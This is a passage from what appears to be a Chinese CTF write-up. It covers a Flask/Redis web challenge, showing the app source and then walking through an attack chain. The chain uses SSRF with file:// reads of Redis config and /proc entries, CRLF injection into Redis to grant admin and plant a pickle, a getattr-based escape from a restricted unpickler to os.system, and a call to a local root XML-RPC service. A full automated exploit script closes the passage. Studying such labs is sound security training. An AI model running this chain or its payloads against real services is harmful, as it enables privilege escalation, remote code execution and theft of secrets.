secret_key = r.get(SECRET_KEY_REDIS_KEY)
if secret_key is None:
# 生成新的随机密钥(64个字符的十六进制字符串)
secret_key = secrets.token_hex(32)
r.set(SECRET_KEY_REDIS_KEY, secret_key)
print(f"已生成新的随机secret_key并保存到Redis: {SECRET_KEY_REDIS_KEY}")
else:
# Redis返回的是bytes,需要解码为字符串
if isinstance(secret_key, bytes):
secret_key = secret_key.decode('utf-8')
print(f"从Redis加载现有的secret_key: {SECRET_KEY_REDIS_KEY}")
# 设置Flask应用的secret_key
app.secret_key = secret_key
print(f"Flask secret_key已设置(长度: {len(secret_key)})")
except Exception as e:
print(f"Redis连接失败: {e}")
r = None
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
if not username or not password:
return '用户名和密码不能为空'
# 检查用户是否存在
if r is None:
return 'Redis连接失败,无法验证用户'
# 从Redis获取用户密码哈希
stored_password = r.hget(f'user:{username}', 'password')
if stored_password is None:
return '用户不存在或密码错误'
# 简单密码验证
if stored_password.decode('utf-8') != password:
return '用户不存在或密码错误'
# 登录成功,设置session
session['username'] = username
session['logged_in'] = True
# 获取用户角色
role_data = r.hget(f'user:{username}', 'role')
role = role_data.decode('utf-8') if role_data else 'user'
session['role'] = role
online_user = OnlineUser(username, role)
serialized_user = pickle.dumps(online_user)
r.set(f'online_user:{username}', serialized_user, ex=3600) # 设置1小时过期
return redirect(url_for('home'))
login_form = '''
<div class="form-container">
<h2>用户登录</h2>
<form method="post" class="login-form">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" required placeholder="请输入用户名">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" required placeholder="请输入密码">
</div>
<div class="form-group">
<button type="submit" class="btn btn-success" style="width: 100%; padding: 12px;">登录</button>
</div>
</form>
<div class="text-center mt-20">
<p>还没有账号? <a href="/register" class="btn btn-secondary btn-small">注册新账户</a></p>
</div>
</div>
'''
return render_page('登录', login_form, show_nav=False)
# 用户注册
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
confirm_password = request.form.get('confirm_password', '')
name = request.form.get('name', '')
age = request.form.get('age', '')
phone = request.form.get('phone', '')
if not username or not password:
return '用户名和密码不能为空'
if password != confirm_password:
return '两次输入的密码不一致'
if r is None:
return 'Redis连接失败,无法注册用户'
# 检查用户是否已存在
if r.hexists(f'user:{username}', 'password'):
return '用户名已存在'
user_data = {
'password': password,
'role': 'user',
'created_at': '2026-01-20',
'name': name if name else username, # 如果未提供姓名,默认使用用户名
'age': age if age else '0',
'phone': phone if phone else '未填写',
'avatar': '' # 默认头像为空
}
r.hset(f'user:{username}', mapping=user_data)
success_content = f'''
<div class="message message-success">
<h3>注册成功!</h3>
<p>用户 <strong>{username}</strong> 已成功注册。</p>
<p><a href="/login" class="btn btn-success mt-10">前往登录</a></p>
</div>
'''
return render_page('注册成功', success_content, show_nav=False)
register_form = '''
<div class="form-container">
<h2>用户注册</h2>
<form method="post" class="register-form">
<div class="form-group">
<label for="username">用户名 <span class="required">*</span></label>
<input type="text" id="username" name="username" required placeholder="请输入用户名">
</div>
<div class="form-group">
<label for="password">密码 <span class="required">*</span></label>
<input type="password" id="password" name="password" required placeholder="请输入密码">
</div>
<div class="form-group">
<label for="confirm_password">确认密码 <span class="required">*</span></label>
<input type="password" id="confirm_password" name="confirm_password" required placeholder="请再次输入密码">
</div>
<div class="form-group">
<label for="name">姓名</label>
<input type="text" id="name" name="name" placeholder="可选,默认为用户名">
</div>
<div class="form-group">
<label for="age">年龄</label>
<input type="number" id="age" name="age" min="0" max="150" placeholder="可选">
</div>
<div class="form-group">
<label for="phone">手机号码</label>
<input type="tel" id="phone" name="phone" placeholder="可选">
</div>
<div class="form-group">
<button type="submit" class="btn btn-success" style="width: 100%; padding: 12px;">注册</button>
</div>
</form>
<div class="text-center mt-20">
<p>已有账号? <a href="/login" class="btn btn-secondary btn-small">返回登录</a></p>
</div>
</div>
'''
return render_page('注册', register_form, show_nav=False)
@app.route('/home')
def home():
if not session.get('logged_in'):
return redirect(url_for('login'))
username = session.get('username', '访客')
role = session.get('role', 'user')
admin_link = ''
if role == 'admin':
admin_link = '<li><a href="/admin/online-users">管理在线用户</a> - 查看所有在线用户信息</li>\n <li><a href="/admin/users">管理注册用户</a> - 查看所有注册用户信息</li>'
main_content = f'''
<div class="dashboard">
<div class="welcome-message">
<h2>欢迎回来,{username}!</h2>
<p class="role-badge">角色: <span class="badge">{role}</span></p>
</div>
<div class="dashboard-cards">
<div class="card">
<h3>个人信息</h3>
<p>查看和编辑您的个人资料,包括头像上传</p>
<a href="/profile" class="btn btn-success mt-10">管理个人信息</a>
</div>
'''
if role == 'admin':
main_content += '''
<div class="card">
<h3>用户管理</h3>
<p>管理系统中的用户</p>
<div class="flex flex-column gap-10 mt-10">
<a href="/admin/online-users" class="btn btn-small">在线用户</a>
<a href="/admin/users" class="btn btn-small">注册用户</a>
</div>
</div>
'''
main_content += '''
</div>
<div class="quick-actions mt-30">
<h3>快速操作</h3>
<div class="flex gap-10">
<a href="/logout" class="btn btn-danger">退出登录</a>
</div>
</div>
</div>
'''
return render_page('用户中心', main_content, username, role)
@app.route('/admin/online-users')
def admin_online_users():
if not session.get('logged_in'):
return redirect(url_for('login'))
if session.get('role') != 'admin':
return '权限不足,需要管理员权限'
if r is None:
return 'Redis连接失败'
# 获取所有在线用户键
online_keys = r.keys('online_user:*')
if not online_keys:
return '没有在线用户'
users_html = '<h1>在线用户列表</h1><table border="1" style="border-collapse: collapse; width: 100%;">'
users_html += '<tr><th>用户名</th><th>角色</th><th>登录时间</th><th>失效时间</th><th>IP地址</th><th>状态</th></tr>'
for key in online_keys:
try:
serialized = r.get(key)
if serialized:
file = io.BytesIO(serialized)
unpickler = RestrictedUnpickler(file)
online_user = unpickler.load()
expiry_time = datetime.datetime.strptime(online_user.expiry_time, "%Y-%m-%d %H:%M:%S")
current_time = datetime.datetime.now()
status = '在线' if current_time < expiry_time else '已过期'
users_html += f'''
<tr>
<td>{online_user.username}</td>
<td>{online_user.role}</td>
<td>{online_user.login_time}</td>
<td>{online_user.expiry_time}</td>
<td>{online_user.ip_address}</td>
<td style="color: {'green' if status == '在线' else 'red'}">{status}</td>
</tr>
'''
except Exception as e:
users_html += f'<tr><td colspan="6">反序列化错误: {e}</td></tr>'
users_html += '</table>'
# 获取当前用户信息用于render_page
current_username = session.get('username', '')
current_role = session.get('role', '')
users_html += '''
<div class="admin-actions mt-30">
<a href="/admin/users" class="btn btn-secondary">查看注册用户</a>
<a href="/home" class="btn">返回用户中心</a>
</div>
'''
return render_page('在线用户管理', users_html, current_username, current_role)
@app.route('/admin/users')
def admin_users():
if not session.get('logged_in'):
return redirect(url_for('login'))
if session.get('role') != 'admin':
return '权限不足,需要管理员权限'
if r is None:
return 'Redis连接失败'
# 获取所有用户键
user_keys = r.keys('user:*')
if not user_keys:
return '没有注册用户'
users_html = '<h1>注册用户列表</h1><table border="1" style="border-collapse: collapse; width: 100%;">'
users_html += '<tr><th>用户名</th><th>角色</th><th>姓名</th><th>年龄</th><th>手机号码</th><th>创建时间</th></tr>'
for key in user_keys:
try:
user_data = r.hgetall(key)
if user_data:
user_info = {}
for field, value in user_data.items():
field_str = field.decode('utf-8') if isinstance(field, bytes) else field
value_str = value.decode('utf-8') if isinstance(value, bytes) else value
user_info[field_str] = value_str
username = key.decode('utf-8').replace('user:', '') if isinstance(key, bytes) else key.replace('user:', '')
role = user_info.get('role', 'user')
name = user_info.get('name', username)
age = user_info.get('age', '0')
phone = user_info.get('phone', '未填写')
created_at = user_info.get('created_at', '未知')
users_html += f'''
<tr>
<td>{username}</td>
<td>{role}</td>
<td>{name}</td>
<td>{age}</td>
<td>{phone}</td>
<td>{created_at}</td>
</tr>
'''
except Exception as e:
users_html += f'<tr><td colspan="6">获取用户信息错误: {e}</td></tr>'
users_html += '</table>'
current_username = session.get('username', '')
current_role = session.get('role', '')
users_html += '''
<div class="admin-actions mt-30">
<a href="/admin/online-users" class="btn btn-secondary">查看在线用户</a>
<a href="/home" class="btn">返回用户中心</a>
</div>
'''
return render_page('注册用户管理', users_html, current_username, current_role)
@app.route('/profile')
def profile():
if not session.get('logged_in'):
return redirect(url_for('login'))
username = session.get('username', '')
if not username or r is None:
return '无法获取用户信息'
# 从Redis获取用户信息
user_data = r.hgetall(f'user:{username}')
if not user_data:
return '用户信息不存在'
user_info = {}
for key, value in user_data.items():
user_info[key.decode('utf-8') if isinstance(key, bytes) else key] = \
value.decode('utf-8') if isinstance(value, bytes) else value
name = user_info.get('name', username)
age = user_info.get('age', '0')
phone = user_info.get('phone', '未填写')
avatar = user_info.get('avatar', '')
role = user_info.get('role', 'user')
created_at = user_info.get('created_at', '未知')
# 判断头像类型:URL或本地文件
if avatar.startswith('http://') or avatar.startswith('https://'):
avatar_src = avatar
else:
avatar_src = ''
# 构建个人资料内容
profile_content = f'''
<div class="profile-container">
<div class="profile-header">
<h2>个人资料</h2>
<p>查看和管理您的个人信息</p>
</div>
<div class="profile-content">
<div class="profile-avatar-section">
<div class="avatar-preview">
<img src="{avatar_src}" alt="用户头像" id="profile-avatar">
</div>
<div class="avatar-actions">
<a href="/profile/avatar" class="btn btn-success">更换头像</a>
</div>
</div>
<div class="profile-info-section">
<h3>基本信息</h3>
<table class="profile-info-table">
<tr>
<th>用户名</th>
<td>{username}</td>
</tr>
<tr>
<th>姓名</th>
<td>{name}</td>
</tr>
<tr>
<th>年龄</th>
<td>{age}</td>
</tr>
<tr>
<th>手机号码</th>
<td>{phone}</td>
</tr>
<tr>
<th>角色</th>
<td><span class="badge">{role}</span></td>
</tr>
<tr>
<th>注册时间</th>
<td>{created_at}</td>
</tr>
</table>
<div class="profile-actions mt-30">
<a href="/profile/edit" class="btn btn-success">编辑个人资料</a>
<a href="/home" class="btn btn-secondary">返回用户中心</a>
</div>
</div>
</div>
</div>
'''
return render_page('个人属性', profile_content, username, role)
# 编辑个人属性
@app.route('/profile/edit', methods=['GET', 'POST'])
def edit_profile():
if not session.get('logged_in'):
return redirect(url_for('login'))
username = session.get('username', '')
if not username or r is None:
return '无法获取用户信息'
if request.method == 'POST':
# 获取表单数据
name = request.form.get('name', '')
age = request.form.get('age', '')
phone = request.form.get('phone', '')
# 验证年龄是否为数字
if age and not age.isdigit():
return '年龄必须是数字'
# 获取当前用户信息
current_data = r.hgetall(f'user:{username}')
if not current_data:
return '用户信息不存在'
# 更新用户信息(保留密码和角色等字段)
updates = {}
if name:
updates['name'] = name
if age:
updates['age'] = age
if phone:
updates['phone'] = phone
# 只更新有变化的字段
if updates:
r.hset(f'user:{username}', mapping=updates)
return redirect(url_for('profile'))
# GET请求,显示编辑表单
# 获取当前用户信息
user_data = r.hgetall(f'user:{username}')
if not user_data:
return '用户信息不存在'
# 解码字节数据为字符串
user_info = {}
for key, value in user_data.items():
user_info[key.decode('utf-8') if isinstance(key, bytes) else key] = \
value.decode('utf-8') if isinstance(value, bytes) else value
# 获取当前值
current_name = user_info.get('name', username)
current_age = user_info.get('age', '0')
current_phone = user_info.get('phone', '未填写')
# 构建编辑表单
edit_form = f'''
<div class="form-container">
<h2>编辑个人资料</h2>
<p>更新您的个人信息</p>
<form method="post" class="edit-form">
<div class="form-group">
<label for="name">姓名</label>
<input type="text" id="name" name="name" value="{current_name}" placeholder="请输入您的姓名">
</div>
<div class="form-group">
<label for="age">年龄</label>
<input type="number" id="age" name="age" value="{current_age}" min="0" max="150" placeholder="请输入您的年龄">
</div>
<div class="form-group">
<label for="phone">手机号码</label>
<input type="tel" id="phone" name="phone" value="{current_phone}" placeholder="请输入您的手机号码">
</div>
<div class="form-group">
<button type="submit" class="btn btn-success">保存修改</button>
<a href="/profile" class="btn btn-secondary" style="margin-left: 15px;">取消</a>
</div>
</form>
<div class="additional-actions mt-30">
<h3>其他操作</h3>
<div class="flex gap-10">
<a href="/profile/avatar" class="btn btn-small">更换头像</a>
<a href="/profile" class="btn btn-small">返回个人资料</a>
<a href="/home" class="btn btn-small">返回用户中心</a>
</div>
</div>
</div>
'''
return render_page('编辑个人属性', edit_form, username, session.get('role', 'user'))
# 退出登录
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
# 用户头像上传
@app.route('/profile/avatar', methods=['GET', 'POST'])
def upload_avatar():
# 检查用户是否登录
if not session.get('logged_in'):
return redirect(url_for('login'))
username = session.get('username', '')
if not username or r is None:
return '无法获取用户信息'
if request.method == 'GET':
# 显示上传表单
upload_form = f'''
<div class="upload-container">
<h2>上传头像</h2>
<div class="user-info mb-20">
<p><strong>当前用户:</strong> {username}</p>
</div>
<div class="upload-options">
<div class="upload-option">
<h3>方式一:上传图片文件</h3>
<div class="upload-form-card">
<form method="post" enctype="multipart/form-data" class="upload-form">
<div class="form-group">
<label for="avatar_file">选择图片文件</label>
<input type="file" id="avatar_file" name="avatar_file" accept="image/*" class="file-input">
<p class="help-text">支持 JPG, PNG, GIF 等图片格式</p>
</div>
<div class="form-group">
<button type="submit" name="upload_type" value="上传文件" class="btn btn-success">上传文件</button>
</div>
</form>
</div>
</div>
<div class="upload-option">
<h3>方式二:提供图片URL</h3>
<div class="upload-form-card">
<form method="post" class="upload-form">
<div class="form-group">
<label for="avatar_url">图片URL地址</label>
<input type="text" id="avatar_url" name="avatar_url" placeholder="请输入图片URL地址" class="url-input">
<p class="help-text">请输入有效的图片URL地址</p>
</div>
<div class="form-group">
<button type="submit" name="upload_type" value="从URL下载" class="btn btn-success">从URL下载</button>
</div>
</form>
</div>
</div>
</div>
<div class="upload-note mt-30">
<div class="message">
<p><strong>注意:</strong>上传的头像将显示在您的个人资料中。</p>
</div>
</div>
<div class="upload-actions mt-30">
<a href="/profile" class="btn btn-secondary">返回个人属性</a>
</div>
</div>
'''
return render_page('上传头像', upload_form, username, session.get('role', 'user'))
# POST请求处理
upload_type = request.form.get('upload_type')
if upload_type == '上传文件':
# 处理文件上传
if 'avatar_file' not in request.files:
return '请选择要上传的文件'
file = request.files['avatar_file']
if file.filename == '':
return '请选择有效的文件'
# 检查文件类型
if file.content_type and not file.content_type.startswith('image/'):
return '只能上传图片文件'
return '功能尚未开发'
elif upload_type == '从URL下载':
url = request.form.get('avatar_url', '')
if not url:
return '请提供图片URL'
try:
# 使用urllib处理URL请求
import urllib.parse
# 解析URL获取主机和端口信息
parsed = urllib.parse.urlparse(url)
host = parsed.hostname
port = parsed.port or (80 if parsed.scheme == 'http' else 443 if parsed.scheme == 'https' else None)
# 使用urllib.request.urlopen发送请求
req = urllib.request.Request(url)
# 发送请求并获取响应
response = urllib.request.urlopen(req, timeout=10)
response_data = response.read()
content_type = response.headers.get('Content-Type', '')
status_code = response.getcode()
r.hset(f'user:{username}', 'avatar', url)
data_size = len(response_data)
base64_data = base64.b64encode(response_data).decode('utf-8')
# 创建base64图片数据URI
# 如果content_type为空或无效,使用默认的image/png
display_content_type = content_type if content_type else 'image/png'
data_uri = f'data:{display_content_type};base64,{base64_data}'
# 统一显示结果,使用img标签展示base64编码的图片数据
unified_content = f'''
<div class="message">
<h2>图片预览</h2>
<div class="image-preview-container mt-20">
<div class="image-wrapper">
<img src="{data_uri}" alt="加载图片图片" style="max-width: 100%; max-height: 500px; border: 1px solid #ddd; border-radius: 4px;">
</div>
</div>
<div class="preview-actions mt-30">
<a href="/profile" class="btn btn-success">查看个人属性</a>
<a href="/profile/avatar" class="btn btn-secondary">继续上传</a>
</div>
</div>
'''
return render_page('图片预览', unified_content, username, session.get('role', 'user'))
except Exception as e:
error_content = f'''
<div class="message message-error">
<h2>处理失败</h2>
<div class="error-details">
<p><strong>错误信息:</strong> {e}</p>
</div>
<div class="error-actions mt-20">
<a href="/profile/avatar" class="btn btn-secondary">返回上传页面</a>
</div>
</div>
'''
return render_page('处理失败', error_content, username, session.get('role', 'user'))
else:
return '无效的上传类型'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)从源码可以确认几个核心点:
- 登录成功后,程序会把在线用户对象 pickle.dumps() 后写入 Redis 的 online_user:{username}。
- 管理员页面 /admin/online-users 会遍历 Redis 中所有 online_user:*,并使用 RestrictedUnpickler 进行反序列化。
- RestrictedUnpickler 放行了 __main__.OnlineUser,同时允许 builtins.getattr / setattr / dict / list / tuple。
- /profile/avatar 的“从 URL 下载”会把用户输入的 URL 直接交给 urllib.request.urlopen() 请求,再把返回内容 base64 包进页面里的 data: URL 中显示。
这四点连起来,已经基本把整题利用方向定死了。
URL 参数存在 CRLF 注入,可跨协议打 Redis
虽然头像下载表面上是 HTTP 请求,但 URL 本身允许插入真实的 \r\n。这样可以把原本一条 HTTP 请求“折叠”成多条 Redis inline protocol 命令。
向下面这样的 URL 发请求即可:
http://127.0.0.1:6379/
AUTH redispass123
HSET user:<username> role admin
QUIT以原始 CRLF 写进去后,Redis 会把后续每一行当成命令执行。
这一步的价值是:
- 不需要 Redis 对外开放
- 直接从 SSRF 打到本地 6379
- 可以修改用户角色
- 可以写入恶意 online_user:* pickle 数据
/admin/online-users 存在可控反序列化
登录时程序会创建:
online_user = OnlineUser(username, role)
serialized_user = pickle.dumps(online_user)
r.set(f'online_user:{username}', serialized_user, ex=3600)管理员页会:
online_keys = r.keys('online_user:*')
serialized = r.get(key)
unpickler = RestrictedUnpickler(file)
online_user = unpickler.load()也就是说,只要能往 Redis 写一个恶意的 online_user:<something>,管理员访问 /admin/online-users 就会触发反序列化。
虽然它不是裸 pickle.loads(),但 RestrictedUnpickler 并没有真正安全:
- 放行了 __main__.OnlineUser
- 放行了 builtins.getattr
因此可以构造链式取值,最终拿到 os.system。
信息收集过程
读取 Redis 配置 首先用 file:// 读取:
file:///etc/redis/redis.conf
得到:
requirepass redispass123
bind 0.0.0.0
protected-mode no
...于是拿到 Redis 密码:
redispass123
这一步是后续 CRLF 注入 Redis 的前提。
通过 /proc/*/cmdline 定位本地 root 服务
因为最终直接读 /flag 会遇到权限问题,所以还需要找能“代读”的高权限本地服务。
做法是遍历:
/proc/<pid>/cmdline
搜索包含 mcp_server_secure 的进程参数。找到目标脚本后,再用 file:// 读取该 Python 文件,解析出:
- XML-RPC 服务端口
- auth_token
- 可调用方法 execute_command(...)
也就是本地 root XML-RPC 管理服务。
这一步非常关键,因为题目的最终落点不是直接让 Web 进程读 /flag,而是让本地 root 服务替我们执行:
cat /flag
完整链条如下:
任意文件读取
→ 读 redis.conf 拿到 Redis 密码
→ 读 /proc/<pid>/cmdline 找到 mcp_server_secure 脚本
→ 读脚本拿到 XML-RPC token 与端口
→ Redis CRLF 注入把当前用户改成 admin
→ 重新登录拿到管理员 session
→ Redis CRLF 写入恶意 pickle 到 online_user:<当前用户>
→ 访问 /admin/online-users 触发反序列化执行
→ 恶意命令调用本地 root XML-RPC:execute_command('cat /flag')
→ 结果落到 /tmp/flag_root
→ 再用 file:// 读取 /tmp/flag_root
→ 正则提取 flag用头像下载功能读取:
file:///etc/redis/redis.conf
解析出:
requirepass redispass123
定位本地 XML-RPC root 服务
遍历 /proc/<pid>/cmdline,找到包含 mcp_server_secure*.py 的进程参数。然后读取该脚本内容,提取:
- auth_token
- 监听端口
例如脚本里会有类似:
auth_token = "xxxxx"
port = 8xxx通过 Redis CRLF 把自己提成 admin
构造这样的 payload:
http://127.0.0.1:6379/
AUTH redispass123
HSET user:<当前用户名> role admin
QUIT发给 /profile/avatar 的 URL 下载功能。Redis 执行后,当前用户的 role 就会变成 admin。
然后重新登录一次,刷新 session 中的角色字段。因为登录逻辑会从 Redis 读取 user:{username} 的 role 写入 session。
构造恶意 pickle
因为 RestrictedUnpickler 允许:
- builtins.getattr
- __main__.OnlineUser
所以可以构造下面这条链:
getattr(
getattr(
getattr(__main__.OnlineUser, "__init__"),
"__globals__"
).__getitem__("os"),
"system"
)("恶意命令")他在本地遍历了一下进程发现有个东西开启了54321端口,进一步发现这是个xml rpc server
正确做法是调用本地 root XML-RPC 服务:
s.execute_command(token, "cat /flag")
然后把返回值写入 /tmp/flag_root。
因此最终让 pickle 执行的 shell 命令,是一个 python -c,大概逻辑如下:
import xmlrpc.client, sys
s = xmlrpc.client.ServerProxy("http://127.0.0.1:<port>/RPC2")
r = s.execute_command("<token>", "cat /flag")
sys.stdout.write((r.get("stdout") or "") + (r.get("stderr") or ""))再通过 shell 重定向:
>/tmp/flag_root
这样一来,高权限服务读 /flag,普通 Web 进程再读 /tmp/flag_root,就绕过了文件权限问题。
写入恶意 online_user:<当前用户>
继续通过 Redis CRLF 注入,把恶意 pickle 直接写到:
online_user:<当前用户名>
然后访问:
/admin/online-users
管理员页面会遍历所有 online_user:*,反序列化时自动触发命令执行。
最后再调用头像下载功能读取:
file:///tmp/flag_root
拿到内容后,用正则提取:
(?:flag|dart)\{[^}\r\n]+\}
即可得到本题 flag。
下面是exp
#!/usr/bin/env python3
import argparse
import base64
import random
import re
import string
import sys
from dataclasses import dataclass
from typing import List, Optional, Tuple
import requests
UPLOAD_TYPE_FROM_URL = "\u4eceURL\u4e0b\u8f7d"
HTTP_TIMEOUT = 12
class ExploitError(Exception):
pass
@dataclass
class GlobalRef:
module: str
name: str
@dataclass
class CallExpr:
func: object
args: List[object]
def _pickle_pystr(text: str) -> str:
escaped = text.replace("\\", "\\\\").replace("'", "\\'")
return f"'{escaped}'"
def _emit_pickle_expr(expr: object) -> str:
if isinstance(expr, GlobalRef):
return f"c{expr.module}\n{expr.name}\n"
if isinstance(expr, str):
return f"S{_pickle_pystr(expr)}\n"
if isinstance(expr, CallExpr):
return _emit_pickle_expr(expr.func) + "(" + "".join(_emit_pickle_expr(a) for a in expr.args) + "tR"
raise TypeError(f"unsupported pickle expr type: {type(expr)!r}")
def build_pickle_rce_payload(shell_command: str) -> bytes:
getattr_ref = GlobalRef("builtins", "getattr")
online_user_ref = GlobalRef("__main__", "OnlineUser")
step1 = CallExpr(getattr_ref, [online_user_ref, "__init__"])
step2 = CallExpr(getattr_ref, [step1, "__globals__"])
step3 = CallExpr(getattr_ref, [step2, "__getitem__"])
step4 = CallExpr(step3, ["os"])
step5 = CallExpr(getattr_ref, [step4, "system"])
final = CallExpr(step5, [shell_command])
payload = _emit_pickle_expr(final) + "."
return payload.encode()
def escape_redis_inline(value: bytes) -> str:
out: List[str] = []
for b in value:
c = chr(b)
if c == "\\":
out.append("\\\\")
elif c == '"':
out.append('\\"')
elif c == "\n":
out.append("\\n")
elif c == "\r":
out.append("\\r")
elif 32 <= b <= 126:
out.append(c)
else:
out.append(f"\\x{b:02x}")
return "".join(out)
class AuthExploit:
def __init__(self, base_url: str) -> None:
if not base_url.startswith("http://") and not base_url.startswith("https://"):
base_url = "http://" + base_url
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.trust_env = False
self.username: Optional[str] = None
self.password: Optional[str] = None
def _url(self, path: str) -> str:
return f"{self.base_url}{path}"
def _request(self, method: str, path: str, **kwargs) -> requests.Response:
if "timeout" not in kwargs:
kwargs["timeout"] = HTTP_TIMEOUT
resp = self.session.request(method=method, url=self._url(path), **kwargs)
return resp
@staticmethod
def _extract_error_snippet(html: str) -> str:
for marker in [
"urlopen error",
"HTTP Error",
"Remote end closed connection without response",
"-NOAUTH",
"-ERR",
"Permission denied",
"No such file or directory",
]:
idx = html.find(marker)
if idx != -1:
return html[idx : idx + 180]
return html[:180].replace("\n", " ")
@staticmethod
def _extract_data_uri_bytes(html: str) -> Optional[bytes]:
m = re.search(r'src="data:([^;]*);base64,([A-Za-z0-9+/=]*)"', html)
if not m:
return None
b64 = m.group(2)
if b64 == "":
return b""
return base64.b64decode(b64)
def avatar_fetch(self, avatar_url: str) -> str:
data = {"upload_type": UPLOAD_TYPE_FROM_URL, "avatar_url": avatar_url}
resp = self._request("POST", "/profile/avatar", data=data)
return resp.text
def read_file_via_avatar(self, path: str) -> bytes:
html = self.avatar_fetch("file://" + path)
data = self._extract_data_uri_bytes(html)
if data is None:
raise ExploitError(f"read file failed: {path} :: {self._extract_error_snippet(html)}")
return data
def try_read_file_via_avatar(self, path: str) -> Optional[bytes]:
try:
return self.read_file_via_avatar(path)
except ExploitError:
return None
def register_and_login(self) -> None:
self.username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
self.password = "Aa123456!"
reg_data = {
"username": self.username,
"password": self.password,
"confirm_password": self.password,
"name": "x",
"age": "1",
"phone": "1",
}
self._request("POST", "/register", data=reg_data)
self.login(expect_admin=False)
def login(self, expect_admin: bool) -> None:
if not self.username or not self.password:
raise ExploitError("username/password is not initialized")
self._request("GET", "/logout")
resp = self._request(
"POST",
"/login",
data={"username": self.username, "password": self.password},
allow_redirects=False,
)
if resp.status_code not in (302, 303):
raise ExploitError(f"login failed, status={resp.status_code}, body={resp.text[:160]}")
home = self._request("GET", "/home").text
is_admin = ("/admin/users" in home) or ("角色: <span class=\"badge\">admin</span>" in home) or ("角色: admin" in home)
if expect_admin and not is_admin:
raise ExploitError("login succeeded but role is not admin")
def get_redis_password(self) -> str:
conf = self.read_file_via_avatar("/etc/redis/redis.conf").decode("utf-8", "ignore")
m = re.search(r"(?m)^requirepass\s+(\S+)", conf)
if not m:
raise ExploitError("cannot parse redis password from /etc/redis/redis.conf")
return m.group(1).strip()
def find_mcp_script_path(self) -> str:
for pid in range(1, 256):
data = self.try_read_file_via_avatar(f"/proc/{pid}/cmdline")
if not data:
continue
if b"mcp_server_secure" not in data:
continue
for part in data.split(b"\x00"):
if b"mcp_server_secure" in part and part.endswith(b".py"):
return part.decode("utf-8", "ignore")
raise ExploitError("cannot locate mcp_server_secure script path")
@staticmethod
def parse_mcp_info(script_text: str) -> Tuple[str, int]:
token_m = re.search(r'auth_token\s*=\s*"([^"]+)"', script_text)
if not token_m:
raise ExploitError("cannot parse MCP auth token")
token = token_m.group(1)
port_m = re.search(r"def __init__\s*\(\s*self,\s*host='[^']*',\s*port=(\d+)\)", script_text)
if not port_m:
port_m = re.search(r"port=(\d+)\)", script_text)
if not port_m:
raise ExploitError("cannot parse MCP port")
port = int(port_m.group(1))
return token, port
def redis_crlf(self, redis_commands: List[str]) -> str:
payload = "http://127.0.0.1:6379/\r\n" + "\r\n".join(redis_commands) + "\r\nQUIT\r\n"
return self.avatar_fetch(payload)
def set_admin_role(self, redis_password: str) -> None:
if not self.username:
raise ExploitError("username is not initialized")
self.redis_crlf(
[
f"AUTH {redis_password}",
f"HSET user:{self.username} role admin",
]
)
def inject_pickle_online_user(self, redis_password: str, shell_command: str) -> None:
if not self.username:
raise ExploitError("username is not initialized")
payload = build_pickle_rce_payload(shell_command)
encoded = escape_redis_inline(payload)
self.redis_crlf(
[
f"AUTH {redis_password}",
f'SET online_user:{self.username} "{encoded}"',
f"EXPIRE online_user:{self.username} 3600",
]
)
def trigger_unpickle(self) -> None:
self._request("GET", "/admin/online-users")
def read_flag_file(self) -> str:
data = self.read_file_via_avatar("/tmp/flag_root").decode("utf-8", "ignore")
m = re.search(r"(?:flag|dart)\{[^}\r\n]+\}", data, flags=re.IGNORECASE)
if not m:
raise ExploitError(f"flag not found in /tmp/flag_root, content={data[:300]!r}")
return m.group(0)
def run(self) -> str:
self.register_and_login()
redis_password = self.get_redis_password()
mcp_script_path = self.find_mcp_script_path()
mcp_script = self.read_file_via_avatar(mcp_script_path).decode("utf-8", "ignore")
mcp_token, mcp_port = self.parse_mcp_info(mcp_script)
self.set_admin_role(redis_password)
self.login(expect_admin=True)
python_stmt = (
"import xmlrpc.client,sys;"
f"s=xmlrpc.client.ServerProxy('http://127.0.0.1:{mcp_port}/RPC2');"
f"r=s.execute_command('{mcp_token}','cat /flag');"
"sys.stdout.write((r.get('stdout') or '') + (r.get('stderr') or ''))"
)
shell_cmd = f'python -c "{python_stmt}" >/tmp/flag_root 2>&1'
self.inject_pickle_online_user(redis_password, shell_cmd)
self.trigger_unpickle()
return self.read_flag_file()
def main() -> int:
parser = argparse.ArgumentParser(description="Solve auth challenge automatically.")
parser.add_argument("--url", required=True, help="Target base URL, e.g. http://example.com")
args = parser.parse_args()
try:
solver = AuthExploit(args.url)
flag = solver.run()
print(flag)
return 0
except Exception as exc:
print(f"[!] {exc}")
return 1
if __name__ == "__main__":
sys.exit(main())
文章详解五道CTF逆向与安全题目,涵盖pyc恢复、UPX+RC4+AES多层加壳分析、Python混淆加密、Asmuth-Bloom+RSA密码共享、Shiro反序列化流量解密及Redis CRLF+XML-RPC提权链。
由 AI 根据全文自动生成,仅供参考,以原文为准
